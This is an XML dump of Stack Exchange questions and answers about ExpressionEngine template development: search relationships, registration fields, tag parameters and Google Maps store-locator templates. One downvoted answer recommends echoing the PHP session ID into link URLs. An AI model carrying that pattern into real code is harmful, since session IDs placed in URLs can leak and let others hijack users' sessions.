  <row Id="24512" PostTypeId="1" AcceptedAnswerId="24542" CreationDate="2014-07-18T11:09:08.927" Score="2" ViewCount="243" Body="&lt;p&gt;I'm working on a search section of a site which allows users to find a list of shops based on their categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to find shops that have offers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offer entries have a relationship field which links it back to the shop entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Low Search, is it possible to run this psuedo code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Give me all of the shops from category 2 that are a parent to an open offer&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-07-21T08:41:48.970" Title="Searching based on parent relationship" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24514" PostTypeId="1" AcceptedAnswerId="24531" CreationDate="2014-07-18T12:23:31.937" Score="0" ViewCount="129" Body="&lt;p&gt;In Freemember module, Can we add  Date of Birth and others field or calender in registration form with required field validation?&lt;/p&gt;&#xA;" OwnerUserId="3376" LastActivityDate="2014-07-19T17:24:10.603" Title="custom fields in registration form in freemember module" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24515" PostTypeId="1" CreationDate="2014-07-18T13:00:49.677" Score="0" ViewCount="97" Body="&lt;p&gt;Here is the scenario ... I have freeform pro installed and working perfectly on a client's site.  The site uses the Structure module for creating pages, etc.  Currently I simply add the freeform form to a structure page by use of a conditional that checks the URL and if there is a match the form is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client is asking for a way to select which page the form will go on so we can cut out the manual conditional check.  It seems to me there could be a way to do this but I'm coming up empty here.  Looking for some best practice type of advice here.&lt;/p&gt;&#xA;" OwnerUserId="560" LastActivityDate="2014-07-22T18:06:35.510" Title="Connecting Freeform Form with a specific page (so the client can do this)" Tags="|solspace-freeform|solspace|structure|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24516" PostTypeId="1" CreationDate="2014-07-18T13:24:52.240" Score="0" ViewCount="18" Body="&lt;p&gt;I have some content that I'm storing in a custom member profile field and I want to be able to check how old it is on the front end and show the user a message asking them to update it if it's more than 12 months old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 2nd custom field which I'm planning to use to store the 'updated date' but how can I compare that to the {current_time} variable and find out if there is an interval of more than 12 months?&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-07-18T13:24:52.240" Title="How can I check how old a piece of data is?" Tags="|time|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24517" PostTypeId="2" ParentId="148" CreationDate="2014-07-18T13:31:39.510" Score="0" Body="&lt;p&gt;Also try use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;var_dump($order);&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To print out whatever variable you want. Perfect code for debugging values at specific points in your code&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-18T13:31:39.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24518" PostTypeId="2" ParentId="24515" CreationDate="2014-07-18T13:48:04.303" Score="2" Body="&lt;p&gt;I might be misunderstanding what you need, but whenever I've set this up I use Pixel &amp;amp; Tonic Switch in the channel entry to turn the form on or off. (That seems a bit simple so I'm guessing you are looking for something else!)&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-07-18T13:48:04.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24519" PostTypeId="1" AcceptedAnswerId="24524" CreationDate="2014-07-18T14:30:45.663" Score="0" ViewCount="266" Body="&lt;p&gt;I am very curious and very new to ExpressionEngine. Is it possible to send an array of values to an EE tag? i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:className:functionName parameter=&quot;value&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can the above parameter be of type array or can these parameters only pass single atomic values to the method?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how would one be able to send arrays to a module function?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-07-18T17:46:14.680" Title="Sending An Array To EE Tag. Is It Possible?" Tags="|ee2|module|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24521" PostTypeId="1" AcceptedAnswerId="24525" CreationDate="2014-07-18T15:59:34.727" Score="0" ViewCount="97" Body="&lt;p&gt;I'm attempting to insert an Assets field, Grid data along with some other text input fields into a Info Box in a Store Locator page. My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:results order_by=&quot;distance&quot; sort=&quot;asc&quot; parse=&quot;inward&quot; cache_post=&quot;false&quot;}&#xA;{if has_searched}&#xA;    {results}&#xA;        {exp:gmap:marker&#xA;            id=&quot;map1&quot;&#xA;            title=&quot;{title}&quot;&#xA;            address=&quot;{locations_address1} {locations_city}, {locations_state} {locations_zip}&quot;&#xA;            extend_bounds=&quot;false&quot;&#xA;            open_windows=&quot;false&quot;&#xA;            show_one_window=&quot;true&quot;&#xA;            clustering=&quot;true&quot;&#xA;            duplicate_markers=&quot;false&quot;&#xA;        }&#xA;                &amp;lt;div class=&quot;locations&quot;&amp;gt;&#xA;                    {if locations_image}{locations_image}&amp;lt;img src=&quot;{exp:ce_img:single src='{locations_image:url}' url_only='yes' width='708' height='396' crop='yes|center,center'}&quot; alt=&quot;{alt_text}&quot; class=&quot;img-responsive pull-left&quot; /&amp;gt;{/locations_image}{/if}&#xA;                    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;title&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;p class=&quot;address&quot;&amp;gt;{locations_address1},{if locations_address2}&amp;lt;br /&amp;gt;{locations_address2}{/if}&amp;lt;br /&amp;gt;{locations_city}, {locations_state} {locations_zip}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;locations_phone&quot;&amp;gt;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {locations_phone}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p class=&quot;hours&quot;&amp;gt;&amp;lt;strong&amp;gt;Store Hours:&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {locations_hours backspace=&quot;6&quot;}&amp;lt;span class=&quot;days&quot;&amp;gt;{locations_hours:day}&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;hours&quot;&amp;gt;{locations_hours:time}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                        {/locations_hours}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- end locations --&amp;gt;&#xA;        {/exp:gmap:marker}&#xA;    {/results}&#xA;{if:else}&#xA;&amp;lt;div id=&quot;locations_wrapper&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;{embed:channel}&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; orderby=&quot;date&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot;}&amp;lt;div class=&quot;locations {switch='pull-left|pull-right'}&quot;&amp;gt;&#xA;        {if locations_image}{locations_image}&amp;lt;img src=&quot;{exp:ce_img:single src='{url}' url_only='yes' width='708' height='396' crop='yes|center,center'}&quot; alt=&quot;{alt_text}&quot; class=&quot;img-responsive pull-left&quot; /&amp;gt;{/locations_image}{/if}&#xA;        &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;title&quot;&amp;gt;{count}. {title}&amp;lt;/div&amp;gt;&#xA;            {categories}{if category_url_title == 'john-atencio-store'}&amp;lt;div class=&quot;store_type&quot;&amp;gt;{category_name}&amp;lt;/div&amp;gt;{/if}{/categories}&#xA;            &amp;lt;p class=&quot;address&quot;&amp;gt;{locations_address1},{if locations_address2}&amp;lt;br /&amp;gt;{locations_address2}{/if}&amp;lt;br /&amp;gt;{locations_city}, {locations_state} {locations_zip}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p class=&quot;locations_phone&quot;&amp;gt;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {locations_phone}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p class=&quot;hours&quot;&amp;gt;&amp;lt;strong&amp;gt;Store Hours:&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {locations_hours backspace=&quot;6&quot;}&amp;lt;span class=&quot;days&quot;&amp;gt;{locations_hours:day}&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;hours&quot;&amp;gt;{locations_hours:time}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;            {/locations_hours}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- end locations --&amp;gt;&#xA;    {switch='|&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;'}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end locations_wrapper --&amp;gt;&#xA;{/if}&#xA;&#xA;{if no_results}&#xA;    &amp;lt;h2&amp;gt;No locations found, try another search.&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;{/exp:gmap:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's strange is that my index page works fine with the Assets and Grid. It's just the items in the &lt;code&gt;{if has_searched}{results}...{/results}{if:else}&lt;/code&gt; items aren't parsing. The standard fields are working but anything that needs a tag pair to render doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I'm missing something basic or it could be a bug too! :) Isn't everything a bug if you can't figure something out :)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help on this one!&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-10-16T19:43:04.430" Title="Google Maps / Assets / Grid" Tags="|assets|grid|google-maps-for-ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24522" PostTypeId="2" ParentId="24510" CreationDate="2014-07-18T16:03:11.293" Score="2" Body="&lt;p&gt;No, that is not configurable. Typically, 24 hours should be sufficiently long, and any longer would start to introduce security issues. The user triggering the action is doing so to reset their password now, not some time in the future (or shouldn't be, anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an active code were to sit in their inbox for many days, for instance, that increases the chance that someone with access to that email (shared account, walking away from a desk, etc.) could intentionally or accidentally reset their password and gain control of their account.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-07-18T16:03:11.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24524" PostTypeId="2" ParentId="24519" CreationDate="2014-07-18T17:46:14.680" Score="1" Body="&lt;p&gt;Parameters are passed into expressionengine tags as strings. I assume you are trying to pass in a php array into your parameter. In that case, you would need to refer to that particular tag's documentation to see how the values need to be passed in (e.g. pipe delimited &quot;value1|value2&quot; or comma delimited &quot;value1,value2&quot;). If you are using php, you can call the php &lt;a href=&quot;http://php.net/manual/en/function.implode.php&quot; rel=&quot;nofollow&quot;&gt;implode function&lt;/a&gt; and that will return a string you can pass in.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$foo = array('hello', 'world', '!'); &#xA;$bar = implode('|', $foo);&#xA;?&amp;gt;&#xA;{exp:whatever:tag data=&quot;&amp;lt;?=$bar?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are not using php, then I believe you are thinking about the way expressionengine works incorrectly. ExpressionEngine does not produce arrays that can be used in your template that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are developing your own plugin, then you will need to do the opposite. You will need to fetch you parameter and &lt;a href=&quot;http://php.net/manual/en/function.explode.php&quot; rel=&quot;nofollow&quot;&gt;explode it&lt;/a&gt; based on whatever delimiter is getting passed in.&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-07-18T17:46:14.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24525" PostTypeId="2" ParentId="24521" CreationDate="2014-07-18T18:24:51.077" Score="0" Body="&lt;p&gt;It turns out that I just had some loops in the wrong place:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:results order_by=&quot;distance&quot; parse=&quot;inward&quot; sort=&quot;asc&quot; cache_post=&quot;false&quot;}&#xA;{if has_searched}&amp;lt;div id=&quot;locations_wrapper&quot;&amp;gt;&#xA;    {results}&#xA;        {exp:gmap:marker&#xA;            id=&quot;map1&quot;&#xA;            title=&quot;{title}&quot;&#xA;            address=&quot;{locations_address1} {locations_city}, {locations_state} {locations_zip}&quot;&#xA;            extend_bounds=&quot;false&quot;&#xA;            open_windows=&quot;false&quot;&#xA;            show_one_window=&quot;true&quot;&#xA;            clustering=&quot;true&quot;&#xA;            duplicate_markers=&quot;false&quot;&#xA;        }&#xA;        {exp:channel:entries channel=&quot;{embed:channel}&quot; limit=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; orderby=&quot;date&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot;}&#xA;            &amp;lt;div class=&quot;locations&quot;&amp;gt;&#xA;                {if locations_image}&amp;lt;img src=&quot;{locations_image:url}&quot; alt=&quot;{locations_image:alt_tag}&quot; class=&quot;img-responsive pull-left&quot; /&amp;gt;{/if}&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;title&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;p class=&quot;address&quot;&amp;gt;{locations_address1},{if locations_address2}&amp;lt;br /&amp;gt;{locations_address2}{/if}&amp;lt;br /&amp;gt;{locations_city}, {locations_state} {locations_zip}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p class=&quot;locations_phone&quot;&amp;gt;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {locations_phone}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p class=&quot;hours&quot;&amp;gt;&amp;lt;strong&amp;gt;Store Hours:&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {locations_hours backspace=&quot;6&quot;}&amp;lt;span class=&quot;days&quot;&amp;gt;{locations_hours:day}&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;hours&quot;&amp;gt;{locations_hours:time}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {/locations_hours}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- end locations --&amp;gt;&#xA;        {/exp:channel:entries}&#xA;        {/exp:gmap:marker}&#xA;        {exp:channel:entries channel=&quot;{embed:channel}&quot; parse=&quot;inward&quot; limit=&quot;1&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; orderby=&quot;date&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot;}&#xA;            &amp;lt;div class=&quot;locations pull-left&quot;&amp;gt;&#xA;                {if locations_image}&amp;lt;img src=&quot;{locations_image:url}&quot; alt=&quot;{locations_image:alt_tag}&quot; class=&quot;img-responsive pull-left&quot; /&amp;gt;{/if}&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;title&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;                    {categories}{if category_url_title == 'john-atencio-store'}&amp;lt;div class=&quot;store_type&quot;&amp;gt;{category_name}&amp;lt;/div&amp;gt;{/if}{/categories}&#xA;                    &amp;lt;p class=&quot;address&quot;&amp;gt;{locations_address1},{if locations_address2}&amp;lt;br /&amp;gt;{locations_address2}{/if}&amp;lt;br /&amp;gt;{locations_city}, {locations_state} {locations_zip}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p class=&quot;locations_phone&quot;&amp;gt;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {locations_phone}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p class=&quot;hours&quot;&amp;gt;&amp;lt;strong&amp;gt;Store Hours:&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {locations_hours backspace=&quot;6&quot;}&amp;lt;span class=&quot;days&quot;&amp;gt;{locations_hours:day}&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;hours&quot;&amp;gt;{locations_hours:time}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {/locations_hours}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- end locations --&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/results}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end locations_wrapper --&amp;gt;{if:else}&#xA;        &amp;lt;div id=&quot;locations_wrapper&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;{embed:channel}&quot; status=&quot;not closed&quot; sort=&quot;desc&quot; orderby=&quot;date&quot; disable=&quot;category_fields|member_data|pagination|trackbacks&quot; dynamic=&quot;no&quot;}&#xA;        {exp:gmap:marker&#xA;            id=&quot;map1&quot;&#xA;            title=&quot;{title}&quot;&#xA;            address=&quot;{locations_address1} {locations_city}, {locations_state} {locations_zip}&quot;&#xA;            extend_bounds=&quot;false&quot;&#xA;            open_windows=&quot;false&quot;&#xA;            show_one_window=&quot;true&quot;&#xA;            clustering=&quot;true&quot;&#xA;            duplicate_markers=&quot;false&quot;&#xA;        }&#xA;        &amp;lt;div class=&quot;locations&quot;&amp;gt;&#xA;            {if locations_image}{locations_image}&amp;lt;img src=&quot;{url}&quot; alt=&quot;{title}&quot; class=&quot;img-responsive pull-left&quot; /&amp;gt;{/locations_image}{/if}&#xA;            &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;title&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;p class=&quot;address&quot;&amp;gt;{locations_address1},{if locations_address2}&amp;lt;br /&amp;gt;{locations_address2}{/if}&amp;lt;br /&amp;gt;{locations_city}, {locations_state} {locations_zip}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p class=&quot;locations_phone&quot;&amp;gt;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {locations_phone}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p class=&quot;hours&quot;&amp;gt;&amp;lt;strong&amp;gt;Store Hours:&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;                {locations_hours backspace=&quot;6&quot;}&amp;lt;span class=&quot;days&quot;&amp;gt;{locations_hours:day}&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;hours&quot;&amp;gt;{locations_hours:time}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                {/locations_hours}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- end locations --&amp;gt;&#xA;        {/exp:gmap:marker}&#xA;            &amp;lt;div class=&quot;locations {switch='pull-left|pull-right'}&quot;&amp;gt;&#xA;                {if locations_image}{locations_image}&amp;lt;img src=&quot;{exp:ce_img:single src='{url}' url_only='yes' width='708' height='396' crop='yes|center,center'}&quot; alt=&quot;{alt_text}&quot; class=&quot;img-responsive pull-left&quot; /&amp;gt;{/locations_image}{/if}&#xA;                &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;title&quot;&amp;gt;{absolute_count}. {title}&amp;lt;/div&amp;gt;&#xA;                    {categories}{if category_url_title == 'john-atencio-store'}&amp;lt;div class=&quot;store_type&quot;&amp;gt;{category_name}&amp;lt;/div&amp;gt;{/if}{/categories}&#xA;                    &amp;lt;p class=&quot;address&quot;&amp;gt;{locations_address1},{if locations_address2}&amp;lt;br /&amp;gt;{locations_address2}{/if}&amp;lt;br /&amp;gt;{locations_city}, {locations_state} {locations_zip}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p class=&quot;locations_phone&quot;&amp;gt;&amp;lt;strong&amp;gt;Phone:&amp;lt;/strong&amp;gt; {locations_phone}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;p class=&quot;hours&quot;&amp;gt;&amp;lt;strong&amp;gt;Store Hours:&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {locations_hours backspace=&quot;6&quot;}&amp;lt;span class=&quot;days&quot;&amp;gt;{locations_hours:day}&amp;lt;/span&amp;gt; &amp;lt;span class=&quot;hours&quot;&amp;gt;{locations_hours:time}&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    {/locations_hours}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- end locations --&amp;gt;&#xA;            {switch='|&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;'}&#xA;    {/exp:channel:entries}&amp;lt;/div&amp;gt;&amp;lt;!-- end locations_wrapper --&amp;gt;&#xA;{/if}&#xA;&#xA;{if no_results}&#xA;    &amp;lt;h2&amp;gt;No locations found, try another search.&amp;lt;/h2&amp;gt;&#xA;{/if}&#xA;{/exp:gmap:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-07-18T18:24:51.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24526" PostTypeId="2" ParentId="24500" CreationDate="2014-07-18T21:44:00.997" Score="1" Body="&lt;p&gt;Working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {html_open}&#xA;    {html_head_end}&#xA;    {html_body}&#xA;&#xA;    {embed=&quot;app_includes/header&quot;}&#xA;     {contentpanel_open}&#xA;&#xA;{exp:channel:entries channel=&quot;planilla_de_indicadores&quot; limit=&quot;100&quot;}&#xA;&#xA;{if {exp:math formula=&quot;([1] / [2]) * 100&quot; parse=&quot;inward&quot; params=&quot;{ps_talleres2}|{ps_talleres1}&quot; decimals=&quot;2&quot; absolute=&quot;yes&quot;} &amp;gt;= &quot;50&quot;}&#xA;    &amp;lt;span class=&quot;badge badge-warning&quot;&amp;gt;&#xA;    {exp:math formula=&quot;([1] / [2]) * 100&quot; parse=&quot;inward&quot; params=&quot;{ps_talleres2}|{ps_talleres1}&quot; decimals=&quot;2&quot; absolute=&quot;yes&quot;}% {title}&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;{/if}&#xA;&#xA;{if {exp:math formula=&quot;([1] / [2]) * 100&quot; parse=&quot;inward&quot; params=&quot;{ps_talleres2}|{ps_talleres1}&quot; decimals=&quot;2&quot; absolute=&quot;yes&quot;} &amp;lt;= &quot;49&quot;}&#xA;    &amp;lt;span class=&quot;badge badge-danger&quot;&amp;gt;&#xA;    {exp:math formula=&quot;([1] / [2]) * 100&quot; parse=&quot;inward&quot; params=&quot;{ps_talleres2}|{ps_talleres1}&quot; decimals=&quot;2&quot; absolute=&quot;yes&quot;}% {title}&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;    {contentpanel_close}&#xA;    {embed=&quot;app_includes/rightpanel&quot;}&#xA;&#xA;    &amp;lt;!-- define custom page js (if) --&amp;gt;&#xA;    {html_close}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3374" LastActivityDate="2014-07-18T21:44:00.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24529" PostTypeId="2" ParentId="24503" CreationDate="2014-07-19T05:22:30.917" Score="2" Body="&lt;p&gt;If it's not in the list of hooks, and no hooks are found in the Friends core files where you need one, then the hook doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend submitting this as a Feature Request under the specific add-on category (with an explanation of why and how you would use the hook). It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&#xA;&lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-07-19T05:22:30.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24530" PostTypeId="2" ParentId="23668" CreationDate="2014-07-19T16:30:11.087" Score="-1" Body="&lt;p&gt;You could always get $_COOKIE['PHPSESSID'] or call session_id() by enabling PHP in your template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://yourdomain/SID=&amp;lt;?php echo $_COOKIE['PHPSESSID'] ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;http://yourdomain/SID=&amp;lt;?php echo session_id() ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&#xA;- &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/php.html&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine User Guide: PHP In Templates&lt;/a&gt;&#xA;- &lt;a href=&quot;http://php.net/manual/en/function.session-id.php&quot; rel=&quot;nofollow&quot;&gt;PHP session_id()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2756" LastActivityDate="2014-07-19T16:30:11.087" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24531" PostTypeId="2" ParentId="24514" CreationDate="2014-07-19T17:24:10.603" Score="0" Body="&lt;p&gt;You can do it yourself by simply adding a date picker to the field. However, it won't have any validation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want a more powerful solution, I suggest checking out Zoo Visitor or one of the other member management modules which allow you to use regular custom fields with your members.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-07-19T17:24:10.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24532" PostTypeId="1" CreationDate="2014-07-20T03:28:49.490" Score="0" ViewCount="185" Body="&lt;p&gt;I'm working on a membership site utilizing Zoo Visitor.  I have several two &quot;member-related&quot; channels - that either directly (Zoo Visitor) or indirectly (Firms, Resources, News, etc) relate back to the member.  Allowing the member to edit their Zoo Visitor profile on the front end is easy.  What I'm struggling with is allowing them to edit the other related content.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When my client sets up a new user, they can relate that user to a particular Firm in the Firms channel.  Right now, I'm using &lt;a href=&quot;http://devot-ee.com/add-ons/ds-sub-channel&quot; rel=&quot;nofollow&quot;&gt;DS Sub Channel&lt;/a&gt;, which is basically a relatable field-type that also let's you create and edit entries from the other channel.  For instance, when my client is setting up a new firm, they can quickly add a user to the Zoo Visitor channel right from the Firms channel, then relate that user to the firm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm mainly struggling with is how to securely let them edit the firm information that they are related to once they have logged in.  Do I need to have my client set a particular user as the author for that firm?  What if I have more than one member that is related to that firm - can any of them edit the firm information?  Am I missing something obvious, or just overthinking this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been struggling with the best way to handle this but have just put it off until now.  Unfortunately, I'm to the point where I need to solve it once and for all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2014-07-20T03:28:49.490" Title="Editing Content on the Front End" Tags="|safecracker|zoo-visitor|related-entries|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24533" PostTypeId="1" AcceptedAnswerId="24562" CreationDate="2014-07-20T11:01:16.153" Score="0" ViewCount="128" Body="&lt;p&gt;Long overdue, I am looking at trying to make my existing site more mobile-friendly. This was prompted by Google sending out their multi-screen guidelines to Adsense users, but as I went through their basic break-down of possible approaches, I found myself scratching my head quite a bit in terms of how to get this to work with EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a separate mobile site is out of the question, I am looking at either responsive design or dynamic serving. Since I suspect it would be very tricky to make my current design responsive, dynamic serving would seem like the best bet ... but I can't quite wrap my head around how that would work with EE. The guidelines talk about serving up different templates to different devices, yet somehow serving everything from a single url, but given that templates determine urls in EE that sounds like it could get very complicated? That is, I can see how to do it with the CSS, but not the actual page structure.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-07-21T22:50:56.430" Title="Can EE be used together with dynamic serving for mobile?" Tags="|mobile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
